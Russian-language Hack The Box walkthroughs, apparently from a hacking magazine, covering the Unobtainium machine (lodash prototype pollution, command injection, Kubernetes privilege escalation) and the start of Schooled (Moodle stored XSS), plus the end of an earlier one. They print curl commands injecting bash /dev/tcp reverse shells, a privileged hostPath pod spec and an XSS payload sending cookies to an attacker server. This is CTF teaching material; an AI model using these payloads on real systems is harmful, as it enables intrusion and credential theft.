\"881df7e3-fb6f-4c7b-9195-7f210e79e525\", \"c5217c17-5675-42f7-a6ec-b5aa9b9dbbde\", \"f0579746-10c3-4fd1-b2ab-f312a5a0f3fc\" ]; $CT = \"mXMs+8ZLEp9krGLLJT2YHLgHQP/ uRJYSfX+YTqar7wabvOQ8PSuPwUFAmEJh86q3kaURmnRxr/ smZvkU6Pp0KPV7ye2sP10hvPJDF2mkNcIEVif3RaMU08jZi7U/ ghZyoXseM6EEcu9c1gYpDqZ74CMEh7AoasksLswCJJZYI0TfcvTlXx84XBfCWsK7cTyDb 4SughAq9MY89Q6lt7gnw6IwG/ tSHi9a1MY8eblCwCMNwRrFQ44x8p3hS2FLxZe2iKUrpiyUDmdThpFJPcM3uxiXU+cuyZJ gxzQ2Wl0Gqaj0RpVD2w2wJGrQBnCnouahOD1SXT3DwrUMWXyeNMc52lWo3aB+mq/ uhLxcTeGSImHJcfUYYQqXoIrOHcS7O1WFoaMvMtIAl+uRslGVSEwiU6sVe9nMCuyvrsbs Q0N46jjro5h1nFmTmZ0C1Xr97Go/ pHmJxgG1lxnOepsglLrPMXc5F6lFH1aKxlzFVAxGKWNAzTlzGC+HnBXjugLpP8Shpb24H Pdnt/ fF/dda8qyaMcYZCOmLODums2+ROtrPJ4CTuaiSbOWJuheQ6U/ v5AbeQSF93RF28iyiA905SCNRi3ejGDH65OWv6aw1VnTf8TaREPH5ZNLazTW5Jo8kvLqJ aEtZISRNUEmsJHr79U1VjpovPzePTKeDTR0qosW/ GJ8=\"; for ($i=0; $i<count($keys); $i++) { try { $result = $KmsClient->enableKey([ 'KeyId' => $keys[$i], ]); $result = $KmsClient->decrypt([ 'CiphertextBlob' => base64_decode($CT), 'KeyId' => $keys[$i], 'EncryptionAlgorithm' => 'RSAES_OAEP_SHA_256', ]); echo base64_encode($result[\"Plaintext\"]); } catch (AwsException $e) { // output error message if fails echo $e->getMessage(); echo \"\\n\"; } } ?> Де­шиф­ровка фай­ла Сре­ди кучи ошиб­ ок видим закодир­ ован­ные дан­ные. Это  наш рас­шифров­ ан‐­ ный файл. Декоди­руем стро­ку и  записы­ваем файл. Так­же нам нуж­но узнать, что это за файл. echo [base64 строка] | base64 -d > servers file servers Опр­ еделен­ ия типа фай­ла Это архив gzip. Читать фай­лы из него можн­ о утил­ итой zcat. Чтен­ ие gzip Ви­дим пару из логина и пароля. Про­буем пароль к root... Флаг рута И получа­ем пол­ный кон­троль над машиной.

ВЗЛОМ HTB UNOBTAINIUM УЧИМСЯ РАБОТАТЬ С KUBERNETES В РАМКАХ ПЕНТЕСТА В этой статье я покажу, как  про­ходит­ся RalfHacker [email protected] слож­ная машина Unobtainium с  площ­ ад­ки Hack The  Box. Мы пров­ едем тест­ ирован­ ие кли­ент‑сер­верног­ о при­ложен­ ия, сер­верная часть которог­ о написан­ а на  Node.js. А  затем поработ­ аем с  оркест­ рат­ ором Kubernetes и  через него захв­ атим флаг рута. WARNING Подк­ лю­чатьс­ я к  машинам с  HTB рекоменд­ уетс­ я толь­ко через VPN. Не делай этог­ о с компь­юте­ров, где есть важ­ные для тебя данн­ ые, так как ты ока‐­ жешьс­ я в общей сети с дру­гими учас­тни­ками. РАЗВЕДКА /etc/hosts Сканирование портов До­бав­ляем адрес машины  10.10.10.235  в  файл как unobtainium.htb и запус­каем ска­ниров­ ание порт­ ов. Справка: сканирование портов Ска­ниро­вание порт­ ов — станд­ арт­ ный пер­вый шаг при любой атак­ е. Он поз‐­ воляе­ т атак­ ующе­му узнать, какие служб­ ы на  хос­те прин­ има­ют соедин­ ение. На  осно­ве этой информа­ции выбира­ется сле­дующий шаг к  получен­ ию точк­ и вход­ а. На­ибол­ ее извест­ ный инст­ ру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрипт­ а. #!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\\n' ',' | sed s/,$//) nmap -p$ports -A $1 Он дей­ству­ет в  два этап­ а. На  перв­ ом прои­ зво­дитс­ я обычн­ ое быст­ рое ска‐­ ниров­ ание, на вто­ром — более тща­тельн­ ое скан­ иров­ ание, с исполь­зование­ м име­ющих­ся скрип­тов (опция -A). Рез­ уль­тат работы скрип­та Рез­ ульт­ ат работы скрипт­ а (прод­ ол­жение) Рез­ уль­тат работы скрип­та (оконч­ ание) По результ­ атам ска­ниро­вания имее­ м восемь откры­тых пор­тов: • порт 22 — служ­ба SSH; • порт 80 — Apache httpd 2.4.41; • пор­ты 2379, 2380 — пока неяс­но, что это; • порт 8443 — тоже веб‑серв­ ер; • порт­ ы 10250, 10256 — Golang HTTP-Server; • порт 31337 — Node.js Express framework. Начн­ ем с осмотра сай­та. Стар­товая стран­ ица сайт­ а Здесь нам дают толь­ко ска­чать какое‑то прил­ оже­ние, что мы и делае­ м. Ска‐­ чива­ем пакет .deb и  разв­ орачи­ваем, чтоб­ ы не  устан­ авл­ ивать на  локаль­ный хост. Затем находим исполняе­ мый файл и запус­каем прил­ оже­ние. mkdir ubo ; cd mkdir dpkg-deb -xv unobtainium_1.0.0_amd64.deb . ./opt/unobtainium Рас­паковк­ а пакета deb Главн­ ое окно прил­ оже­ния Изу­чив при­ложен­ ие, понимае­ м, что оно име­ет кли­ент‑сер­верную архит­ ект­ уру. Здесь есть фор­ма отправк­ и сообщ­ ений и возм­ ожность смот­реть спис­ ок дел. Спис­ ок выг­лядит вот так: 1. Create administrator zone. 2. Update node JS API Server. 3. Add Login functionality. 4. Complete Get Messages feature. 5. Complete ToDo feature. 6. Implement Google Cloud Storage function. 7. Improve security. Спис­ ок todo Анализ трафика Итак, мы узна­ли, что использ­ уетс­ я тех­нология Node.js, есть автор­ изац­ ия и  разд­ еление при­вилег­ ий (пункт  1). Поск­ ольк­ у при­ложе­ние  — это  кли­ент, можем пред­положить, что оно стуч­ ит­ся на  порт  31337, обнар­ ужен­ный нами при ска­ниро­вании. Нам нуж­но про­верить это пред­положе­ние, а поможет нам в этом Wireshark. Откры­ваем его и запус­каем наше прил­ ожен­ ие сно­ва. Траф­ ик прил­ ожен­ ия в Wireshark Вид­ им, что при­ложе­ние работае­ т по  HTTP и  дей­стви­тель­но подк­ лю­чаетс­ я к пор­ту 31337. Ад­рес сер­верной част­ и прил­ оже­ния Поп­робу­ем вруч­ную исполь­зовать фун­кции при­ложен­ ия, что­бы узнать, как  имен­но они работаю­ т. Зап­росим спи­сок дел и  отпра­вим какое‑нибудь сооб­щение. Запр­ ос и ответ при обра­щении к todo Зап­рос и ответ при отправ­ке сообщ­ ения Мы можем скоп­ иров­ ать оба запр­ оса и перенест­ и их в Burp Repeater для даль‐­ нейшег­ о тест­ ирован­ ия. Так­же для удобст­ ва мож­но пере­имен­ овать вклад­ки. PUT / HTTP/1.1 Host: unobtainium.htb:31337 Connection: keep-alive Content-Length: 79 Accept: application/json, text/javascript, */*; q=0.01 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 ( KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/ 11.2.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate Accept-Language: ru {\"auth\":{\"name\":\"felamos\",\"password\":\"Winter2021\"},\"message\":{\"text\": \"qwerty\"}} POST /todo HTTP/1.1 Host: unobtainium.htb:31337 Connection: keep-alive Content-Length: 73 Accept: application/json, text/javascript, */*; q=0.01 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 ( KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/ 11.2.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate Accept-Language: ru {\"auth\":{\"name\":\"felamos\",\"password\":\"Winter2021\"},\"filename\":\"todo. txt\"} Зап­росы в Burp Repeater В обои­ х зап­росах мест для тес­тирован­ ия два: это параметр text при отправ‐­ ке сооб­щения и filename при  зап­росе файл­ а todo.txt. Попыт­ка зап­росить дру­гие файл­ ы (напр­ имер, /etc/passwd) ни к чему не при­вела, а если точ­нее, при­вела к  зависа­нию при­ложе­ния. Но  вот в  случ­ ае пус­того зап­роса мы получим ошибк­ у. Ошиб­ка ТОЧКА ВХОДА В текс­ те ошиб­ки видим неск­ ольк­ о раск­ рыт­ ых путей к файл­ ам. Так как исполь‐­ зуетс­ я Node.js, зап­росим важ­ный файл index.js. Пос­коль­ку содерж­ имое файл­ а неформ­ атиров­ анн­ ое, для  удобс­тва отправ­ им его в  рас­ширение Burp Hackvector. Выбирае­ м String → Replace и меня­ем посл­ едоват­ ель­ност­ и \\\\n, \\\\ t и \\\" на \\n, \\t и \". Старт­ овая стра­ница сайт­ а Код на скринш­ от не помеща­ется, поэтом­ у прив­ еду его ниже. var root = require(\"google-cloudstorage-commands\"); const express = require('express'); const { exec } = require(\"child_process\"); const bodyParser = require('body-parser'); const _ = require('lodash'); const app = express(); var fs = require('fs'); const users =[ {name: 'felamos', password: 'Winter2021'}, {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true}, ]; let messages = []; let lastId = 1; function findUser(auth){ return users.find((u) => u.name === auth.name && u.password === auth.password; } app.use(bodyParser.json()); app.get('/', (req, res) => { res.send(messages); }); app.put('/', (req, res) => { const user = findUser(req.body.auth || {}); if (!user) { res.status(403).send({ok: false, error: 'Access denied'}); return; } const message = { icon: '__', }; _.merge(message, req.body.message, { id: lastId++, timestamp: Date.now(), userName: user.name, }); messages.push(message); res.send({ok: true}); }); app.delete('/', (req, res) => { const user = findUser(req.body.auth || {}); if (!user || !user.canDelete) { res.status(403).send({ok: false, error: 'Access denied'}); return; } messages = messages.filter((m) => m.id !== req.body.messageId); res.send({ok: true}); }); app.post('/upload', (req, res) => { const user = findUser(req.body.auth || {}); if (!user || !user.canUpload) { res.status(403).send({ok: false, error: 'Access denied'}); return; } filename = req.body.filename; root.upload(\"./\",filename, true); res.send({ok: true, Uploaded_File: filename}); }); app.post('/todo', (req, res) => { const user = findUser(req.body.auth || {}); if (!user) { res.status(403).send({ok: false, error: 'Access denied'}); return; } filename = req.body.filename; testFolder = \"/usr/src/app\"; fs.readdirSync(testFolder).forEach(file => { if (file.indexOf(filename) > -1) { var buffer = fs.readFileSync(filename). toString(); res.send({ok: true, content: buffer}); } }); }); app.listen(3000); console.log('Listening on port 3000...'); В самом начале подк­ люч­ ают­ся некотор­ ые библ­ иоте­ки. Так как это Node.js, мы можем зап­росить файл package.json, чтоб­ ы узнать верс­ ии под­ключ­ аемых биб­лиотек. Со­дер­жимое файл­ а package.json У нас есть сле­дующие зависи­мос­ти: • body-parser: 1.18.3; • express: 4.16.4; • lodash: 4.17.4; • google-cloudstorage-commands: 0.0.1; Нам извест­ ны техн­ ологии, поэтом­ у след­ ует поиск­ ать готовые эксп­ лои­ ты, что‐­ бы понять, какие могут быть уяз­вимост­ и. Делать это лучш­ е все­го при помощи Google. Пои­ ск уязв­ имос­тей с помощью Google Пои­ ск уяз­вимост­ ей с помощью Google Так мы находим две уяз­вимос­ти в  модулях google-cloudstorage-commands и lodash. Пер­вая может дать нам OS Command injection, то есть, друг­ ими сло‐­ вами, уда­ленн­ ое выпол­нение команд. У  нас уже есть уязв­ имый блок кода (ниже прив­ еден­ ы скрин­ ы из PoC и кода index.js). PoC эксп­ ло­ита google-cloudstorage-commands Код обраб­ отч­ ика метода post из фай­ла index.js При переда­че параметр­ а filename методом POST на  стра­ницу /upload мы можем выпол­нить команд­ у. Но перед этим серв­ ер пров­ еряе­ т, име­ет ли дан‐­ ный польз­ ователь свойс­ тво canUpload. Объе­ кты users Этих свой­ств у  нас нет, но  можем их получить. В  этом поможет крит­ ическ­ ая уязв­ имость в  биб­лиотек­ е lodash. Мы можем использ­ овать атри­бут constructor объе­ кта, пред­став­ляюще­го польз­ овате­ля, что­бы актив­ иров­ ать дан­ные при­виле­гии. И у нас сно­ва есть уязв­ имый блок кода (ниже прив­ еде­ны скрин­ ы из PoC и кода index.js). При­мер уяз­вимого кода lodash Код обра­бот­чика метода put из фай­ла index.js При передач­ е параметр­ а text методом PUT на стра­ницу / мы смо­жем выпол‐­ нить опас­ное слия­ ние объ­ектов. →Продолжение статьи

ВЗЛОМ ← НАЧАЛО СТАТЬИ HTB UNOBTAINIUM УЧИМСЯ РАБОТАТЬ С KUBERNETES В РАМКАХ ПЕНТЕСТА ТОЧКА ОПОРЫ Да­вай про­экс­плуа­ ти­руем это  и актив­ иру­ем у  себя свойс­ тва canUpload и canDelete. Для этог­ о отправ­ им след­ ующее сооб­щение: { \"text\":{ \"constructor\":{ \"prototype\":{ \"canDelete\":true, \"canUpload\":true } } } } } Ак­тивация при­виле­гий По­лучи­ли ответ, что все выпол­нено без оши­бок. Теперь для про­вер­ки выпол‐­ ним команд­ у id, как было опис­ ано выше. Резуль­тат запишем в файл. Вы­пол­нение коман­ды и запись результ­ ата в файл Ос­талось про­честь содер­жимое файл­ а легитим­ным спос­ обом. Чте­ние файл­ а Как мож­но увид­ еть, коман­да успешно выпол­нена, а  вся наша конц­ епция получил­ а под­твержден­ ие. Мож­но выполн­ ить реверс‑шелл. Справка: реверс-шелл Об­ратный шелл — это под­ключ­ ение, которое акти­виру­ет атак­ уемая машина, а  мы прин­ имае­ м и  таким образ­ ом под­ключ­ аемс­ я к  ней, что­бы выполн­ ять коман­ды от  лица польз­ овате­ля, который запус­тил шелл. Для  прие­ ма соеди‐­ нения необ­ходимо соз­дать на  локаль­ной машине listener, то есть «слу‐­ шатель». В таких слу­чаях приг­ одит­ся rlwrap  — readline-обо­лоч­ка, которая в  чис­ле проч­ его позв­ оля­ет поль­зовать­ся исто­рией команд. Она обыч­но дост­ упна в репози­тории дис­три­бутив­ а. apt install rlwrap В качест­ ве самого лис­тенера при  этом можн­ о исполь­зовать широко извес‐­ тный netcat. rlwrap nc -lvp [port] Что­бы быс­тро восс­ та­навл­ ивать соедин­ ение в  слу­чае его потери, я написал маленьк­ ий скрипт на Bash, содерж­ ащий две команд­ ы. Это те же команд­ ы, что предс­ тав­лены в запр­ осах выше, тольк­ о без чтен­ ия фай­ла. #!/bin/bash curl -X PUT -H \"Content-Type: application/json\" -d '{\"auth\":{\"name\": \"felamos\",\"password\":\"Winter2021\"},\"message\":{\"text\":{\"constructor\":{ \"prototype\":{\"canDelete\":true, \"canUpload\":true}}}}}' http:// unobtainium.htb:31337/ curl -X POST -H \"Content-Type: application/json\" -d '{\"auth\":{\"name\": \"felamos\",\"password\":\"Winter2021\"},\"filename\":\"& echo \"bash -i >& / dev/tcp/10.10.14.126/4321 0>&1\" | bash\"}' http://unobtainium.htb: 31337/upload Флаг польз­ овате­ля ПРОДВИЖЕНИЕ Те­перь, когд­ а мы получил­ и дост­ уп к  хос­ту, нам необ­ходимо собр­ ать информа­цию. Для этог­ о я обычн­ о исполь­зую скрип­ты PEASS. Справка: скрипты PEASS для Linux Что делать посл­ е того, как  мы получи­ли дос­туп в  сист­ ему от  име­ни поль‐­ зовате­ля? Вари­антов даль­нейшей эксп­ лу­атац­ ии и  повыше­ния при­виле­гий может быть очень мног­ о, как  в Linux, так и  в Windows. Что­бы соб­рать информац­ ию и  наметить цели, можн­ о исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS)  — набор скрип­тов, которые пров­ еряю­ т сис‐­ тему на авто­мате. Чтоб­ ы восп­ ольз­ оватьс­ я скрипт­ ом, его надо сна­чала загр­ узить на  локаль‐­ ный хост. wget https://github.com/carlospolop/privilege-escalation-awesome- scripts-suite/blob/master/linPEAS/linpeas.sh Теп­ ерь нуж­но заг­рузить его на  удал­ ен­ный хост. В  дирек­тории со  скрипт­ ом на локаль­ной машине запус­тим с помощью Python прос­той веб‑серв­ ер. Пос‐­ ле выпол­нения этой команд­ ы веб‑серв­ ер будет прос­лушивать порт 8000. python3 -m http.server А теперь с  помощью того же wget на  целевой машине заг­рузим скрипт с  локаль­ного хост­ а на  уда­ленн­ ый. Пос­ле заг­рузки необ­ходимо дать фай­лу прав­ о на выпол­нение и выпол­нить скрипт. wget http://[ip_локального_хоста]:8000/linpeas.sh chmod +x linpeas.sh ./linpeas.sh Из вывода LinPEAS я узнал, что на  хост­ е работае­ т поль­зовательс­ кая задача в  cron. Каж­дую минуту прои­ схо­дит поиск и  удал­ ение фай­ла kubectl. А  это озна­чает использ­ ование оркест­ ра­тора Kubernetes. Зад­ ачи cron Kubernetes поз­воля­ет управлять клас­тером кон­тейн­ еров Linux как един­ ой сис‐­ темой. Kubernetes управля­ет кон­тейн­ ерами Docker, запуск­ ает их на больш­ ом количест­ ве хост­ ов, а  такж­ е обес­печивае­ т совм­ ест­ ное разм­ ещение и  реп‐­ ликацию боль­шого количест­ ва кон­тейн­ еров. Что нам нуж­но понимать при работе с Kubernetes: • Node — это машина в класт­ ере Kubernetes; • Pod — это груп­па кон­тейн­ еров с общи­ми разд­ елами, запуск­ аемых как еди‐­ ное целое; • Service — это абст­ рак­ция, которая опред­ еляе­ т логическ­ ий объ­еди­ненн­ ый набор pod и политик­ у дос­тупа к ним; • Volume — это дирек­тория (возм­ ожно, с данн­ ыми), которая дост­ упна в кон‐­ тей­нере; • Label — это пара ключ/знач­ ение, которые прик­репляю­ тся к объе­ ктам, нап‐­ ример подам, и могут быть использ­ ованы для соз­дания и выбора наборов объ­ектов. Для работы с  кубером нам нужен kubectl, а  он уда­ляет­ся раз в  минуту. Ска‐­ чаем его на локальн­ ую машину, а затем загр­ узим на удал­ енн­ ый хост таким же спос­ обом, как и LinPEAS. Я загр­ ужаю его под име­нем kctl. curl -LO \"https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/ release/stable.txt)/bin/linux/amd64/kubectl\" Теп­ ерь файл уда­лять­ся не будет, можем поработ­ ать с Kubernetes. Благ­ ода­ря kubectl нам дост­ упна команд­ а can-i, с  помощью которой мы можем про‐­ верить свои прив­ иле­гии на то или иное дейс­ твие. В ответ будет возв­ ра­щатьс­ я yes или no. В клас­тере Kubernetes объ­екты secret предн­ азнач­ ены для хран­ ения кон‐­ фиден­циаль­ной информац­ ии, такой как пароли, токены OAuth или ключ­ и SSH. И это перв­ ое, что нуж­но про­верить. kubectl auth can-i list secrets Про­вер­ка сек­ретов К сожален­ ию, мы не  можем просм­ отреть сек­реты. След­ ующее, что нужн­ о про­верить, — это прост­ ранст­ ва имен (namespaces) — вирт­ уаль­ные класт­ еры, работа­ющие в  одном и  том же физическ­ ом класт­ ере. Namespaces пред­ ос‐­ тавля­ют набор уни­каль­ных имен для  ресур­сов. Давай узнае­ м, можем ли мы получить их. kubectl auth can-i list namespaces Пров­ ер­ка прос­транств имен Мы можем получить прос­транст­ ва имен сле­дующей прост­ ой коман­дой. kubectl get namespaces Пол­ уче­ние namespaces По умол­чанию в  класт­ ере Kubernetes будет соз­дано прос­транс­тво имен default, в котором разм­ ещаю­ тся запуск­ аемые объе­ кты. Прос­транс­тва kube- public и  kube-system исполь­зуютс­ я для  запус­ка слу­жебн­ ых объе­ ктов Kubernetes, необ­ходимых для  кор­рек­тной работы класт­ ера. Но  нам (судя по назв­ анию) больш­ е интер­ есн­ о прост­ ранст­ во имен dev и сист­ емный kube- system. Но  ни в  пер­вом, ни  во втор­ ом прос­транс­тве дос­тупа к  секр­ етам не име­ем. kubectl auth can-i list secrets -n dev kubectl auth can-i list secrets -n kube-system Пров­ ер­ка секр­ етов С секр­ етами не  получи­лось, посм­ отрим на  поды. Каж­дый pod сос­тоит из  одног­ о или  нес­кольк­ их конт­ ейн­ еров, хра­нилищ­ а, отдельн­ ого IP-адрес­ а и  опций, которые опред­ еля­ют, как  имен­но кон­тей­неры долж­ ны запуск­ ать­ся. Так­же pod пред­став­ляет собой некий запущен­ный про­цесс в  класт­ ере Kubernetes. Но  чаще всег­ о в  подах исполь­зуют­ся кон­тейн­ еры Docker. Пос‐­ мотрим, можем ли мы получить поды из  прост­ ранс­тва dev, а  пос­ле положи‐­ тель­ного ответ­ а получим их спи­сок. kubectl auth can-i list pods -n dev kubectl get pods -n dev Пол­ учен­ ие подов в прос­транс­тве dev Дав­ ай получим опи­сание пода. Так как  это целый конт­ ей­нер, нам инте­рес­на воз­можность расп­ ростран­ ения по сети, а из опи­сания смож­ ем узнать адрес. kubectl describe pod/devnode-deployment-cd86fb5c-6ms8d -n dev Опи­сание пода Так, из опис­ ания пода devnode-deployment-cd86fb5c-6ms8d мы видим адрес 172.17.0.8 и открыт­ ый порт 3000. Ока­залось, что там работа­ет такой же сер‐­ вис, поэто­му мы можем получить дос­туп уже имею­ щим­ся скрип­том. Запуст­ им лис­тенер на друг­ ом порт­ е локаль­ного хос­та (я запуст­ ил на 5432) и выполн­ им бэк­коннект. curl -X PUT -H \"Content-Type: application/json\" -d '{\"auth\":{\"name\": \"felamos\",\"password\":\"Winter2021\"},\"message\":{\"text\":{\"constructor\":{ \"prototype\":{\"canDelete\":true, \"canUpload\":true}}}}}' http://172.17. 0.8:3000/ ; echo curl -X POST -H \"Content-Type: application/json\" -d '{\"auth\":{\"name\": \"felamos\",\"password\":\"Winter2021\"},\"filename\":\"& echo \"bash -i >& / dev/tcp/10.10.14.126/5432 0>&1\" | bash\"}' http://172.17.0.8:3000/ upload Созд­ анный реверс‑шелл ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ Снов­ а про­верим сек­реты в извест­ ных нам подах. kubectl auth can-i list secrets -n dev kubectl auth can-i list secrets -n kube-system Пров­ ерк­ а секр­ етов Мы можем получить секр­ еты из пода kube-system. Сде­лаем это! kubectl get secrets -n kube-system Пол­ учен­ ие секр­ етов из пода kube-system Мы видим мно­го сек­ретов, но  один бро­сает­ся в  глаз­ а  — c-admin-token- tfmp2. Получим опис­ ание это­го объе­ кта. kubectl describe secrets/c-admin-token-tfmp2 -n kube-system Опис­ ание пода У нас есть токен, что немн­ ого раз­вязыва­ет руки. Так как этот токен — адми‐­ нис­тра­тивн­ ый, сто­ит сра­зу пров­ ерить, можем ли мы созд­ ать под (одна из тех‐­ ник, которые позв­ оля­ют взять кубер под кон­троль). kubectl --token=eyJ..sNow auth can-i create pod Пров­ ер­ка воз­можност­ и соз­дать под Мы смо­жем соз­дать под, а это путь к повышен­ ию при­вилег­ ий. Для созд­ ания нам пот­ребу­ется файл спе­цифик­ ации в  фор­мате YAML. Так как  тех­ника не нова, можн­ о взять уже готовый шабл­ он в ре­позит­ ории BishopFox. apiVersion: v1 kind: Pod metadata: name: everything-allowed-exec-pod labels: app: pentest spec: hostNetwork: true hostPID: true hostIPC: true containers: - name: everything-allowed-pod image: localhost:5000/node_server securityContext: privileged: true volumeMounts: - mountPath: /host name: noderoot command: [ \"/bin/sh\", \"-c\", \"--\" ] args: [ \"while true; do sleep 30; done;\" ] volumes: - name: noderoot hostPath: path: / Сле­дует помес­тить этот файл на сер­вер, а затем созд­ ать под. kubectl apply -f /tmp/eaep.yaml --token=eyJ..sNow Ре­зуль­тат созд­ ания пода Пос­ле успешног­ о соз­дания пода мы можем выпол­нить в конт­ ейн­ ере коман­ду, которая даст нам реверс‑шелл. Поэтом­ у запуст­ им лист­ енер и выполн­ им бэк‐­ коннект. kubectl --token=eyJ..sNow exec -it everything-allowed-exec-pod -- chroot /host bash -i >& /dev/tcp/10.10.14.126/6543 0>&1 Флаг рута Так­ им обра­зом мы зах­ватывае­ м машину и  име­ем над  ней полн­ ый кон­троль.

ВЗЛОМ HTB SCHOOLED ПЕНТЕСТИМ MOODLE И ДЕЛАЕМ ВРЕДОНОСНЫЙ ПАКЕТ ДЛЯ FREEBSD В этой статье нам предс­ то­ит пройт­ и все RalfHacker [email protected] сту­пени повыше­ния прив­ илег­ ий на  плат‐­ форме для  онлайн­ ового обу­чения Moodle  —  вплоть до  получен­ ия реверс‑шел­ла и  дам­па учетн­ ых данн­ ых из  базы плат­формы. Затем мы повысим при­вилег­ ии через уста­нов­ку каст­ омног­ о пакета FreeBSD. Про­делыв­ ать все это  мы будем для зах­вата машины Schooled с пло‐­ щадк­ и Hack The Box. WARNING Подк­ люч­ ать­ся к  машинам с  HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компью­ те­ров, где есть важн­ ые для тебя дан­ные, так как ты ока‐­ жешьс­ я в общей сети с друг­ ими учас­тник­ ами. РАЗВЕДКА Сканирование портов Адр­ ес машины — 10.10.10.234, добав­ляем его в /etc/hosts и начина­ем ска‐­ ниров­ ание пор­тов. Справка: сканирование портов Ска­ниро­вание порт­ ов — стан­дарт­ ный пер­вый шаг при любой ата­ке. Он поз‐­ воля­ет ата­кующе­му узнать, какие служ­бы на  хос­те прин­ има­ют соедин­ ение. На  основ­ е этой информа­ции выбирае­ тся сле­дующий шаг к  получе­нию точ­ки вход­ а. На­ибо­лее извес­тный инст­ рум­ ент для скан­ иров­ ания — это Nmap. Улуч­шить результ­ аты его работы ты можешь при помощи сле­дующе­го скрипт­ а. #!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\\n' ',' | sed s/,$//) nmap -p$ports -A $1 Он дей­ствуе­ т в  два этап­ а. На  перв­ ом прои­ зво­дитс­ я обыч­ное быс­трое ска‐­ ниро­вание, на втор­ ом — более тщат­ ель­ное скан­ иров­ ание, с использ­ ование­ м имею­ щихс­ я скрип­тов (опция -A). Ре­зуль­тат работы скрип­та Нах­ одим три откры­тых порт­ а: 22 (служб­ а SSH), 80 (веб‑сер­вер Apache 2.4.46) и 33060. Пер­вым делом пройд­ емс­ я по сайт­ у и соберем информац­ ию. Старт­ овая стра­ница сайт­ а На стра­нице About мы находим почт­ у для связ­ и, а так­же домен — schooled. htb. Стран­ ица About Сканирование веб-контента Боль­ше ничего найт­ и не уда­лось, а так как schooled.htb ока­зал­ся зарегис‐­ трир­ ованн­ ым доменом, сто­ит помимо скан­ иров­ ания файл­ ов и  директ­ орий перебр­ ать так­же и  подд­ омены. Я это  делаю с  помощью Burp Intruder  — он уме­ет прод­ ол­жать скан­ иро­вать посл­ е обры­ва соеди­нения. Перенапр­ авля­ем зап­рос в  Intruder, ука­зыва­ем сло­варь /Discovery/DNS/subdomains- top1million-5000.txt из набора SecLists, а такж­ е уста­новим 120 потоков. Нас­трой­ка Burp — Positions Наст­ ройк­ а Burp — Payloads Наст­ ройк­ а Burp — Options Ре­зульт­ ат перебо­ра И мы находим новый подд­ омен — moodle.schooled.htb. Сра­зу добавим его в /etc/hosts и посм­ отрим, что там. Стар­товая стра­ница Moodle Moodle  — это  веб‑прил­ ожен­ ие, при  помощи которог­ о можн­ о делать сай­ты для онлай­нового обуч­ ения. Сис­тема поз­воляе­ т нас­тра­ивать макеты стра­ниц, к  тому же мож­но наладить интеграц­ ию с  раз­ным ПО, включ­ ая инст­ ру­мент­ ы для обще­ния, сов­мест­ ной работы и управле­ния докумен­тами. Что очень важ‐­ но, Moodle рас­простра­няетс­ я сво­бодн­ о и имее­ т откры­тый исходный код. Фор­ма авто­ризац­ ии Moodle ТОЧКА ВХОДА Поиск эксплоитов Так как  мы имее­ м дело с  готовым прод­ ук­том, нет смыс­ла «тыкать кавыч­ки» самост­ оятель­но. Горазд­ о прод­ укт­ ивнее будет узнать точ­ную вер­сию и поис‐­ кать информа­цию или  отче­ты об  уже име­ющих­ся уязв­ имос­тях, а  возм­ ожно, и  готовые экс­плои­ ты. Можн­ о найт­ и ис­ходные коды на  GitHub и  узнать, где в прогр­ амме рас­положе­на информац­ ия о текущей вер­сии. Смот­рим, что у нас на серв­ ере, и узнае­ м, что исполь­зует­ся верс­ ия 3.9. Файл upgrade.txt в репози­тори­ях GitHub Запр­ ос файл­ а upgrade.txt на серв­ ере Те­перь можем поиск­ ать информац­ ию об уязв­ имост­ ях и готовых экс­пло­итах. Справка: поиск готовых эксплоитов При пен­тесте луч­ше все­го искать эксп­ лои­ ты при  помощи Google, поск­ оль­ку этот поиск­ овик заг­лядыва­ет и в лич­ные блог­ и, и в самые раз­ные отче­ты. Уско‐­ рят дело спе­циали­зиров­ ан­ные базы врод­ е Exploit-DB  — там част­ о мож­но обна­ружить подх­ одящие вариа­ нты. Если ты работае­ шь в  спец­ иализ­ иро­ван‐­ ной ОС вро­де Kali Linux, то эта база у  тебя уже есть и  для поис­ка мож­но использ­ овать утил­ иту searchsploit. Эксп­ лои­ ты, найд­ енн­ ые searchsploit Для верс­ ии  3.9  экс­плои­ тов нет, но  есть для  более свеж­ ей  3.10.3. Сто­ит ее попр­ обовать, так как есть веро­ятность, что уязв­ имость прис­ утс­тву­ет и в ран‐­ них вер­сиях. Посм­ отрим детали уяз­вимост­ и. searchsploit -p php/webapps/49714.txt Пол­ уче­ние эксп­ лои­ та Опис­ ание уяз­вимост­ и Эксплуатация Stored XSS Эта верс­ ия уяз­вима к ата­ке XSS, при­чем хран­ имой. Для пров­ ер­ки уязв­ имос­ти регис­трир­ уем­ся и автор­ изуе­ мся в сист­ еме. Внедр­ ить код можн­ о через поле MoodleNet profile в нас­трой­ках поль­зовате­ля. Давай внед­рим след­ ующий код, который будет показыв­ ать окош­ко с тек­стом 1. <img src=\"1\" onerror=\"alert(1)\" /> Сох­ранение нагр­ узки Так как  это Stored XSS, код будет выпол­нятьс­ я каж­дый раз при  прос­мотре польз­ овател­ ем нашего про­филя. Вы­пол­нение кода при просм­ отре проф­ иля Так как уяз­вимость под­твержде­на, мы можем украсть cookie. Для это­го откро‐­ ем на локальн­ ом хост­ е веб‑сер­вер python3. python3 -m http.server 8888 А теперь внедр­ им код, который будет заг­ружать с нашего серв­ ера кар­тинку, а в качест­ ве парамет­ра будем переда­вать куки. Так они и попадут к нам. <img src=\"1\" onerror='this.src=\"http://10.10.14.195:8888/ cookie=\"+document.cookie' /> Ло­ги 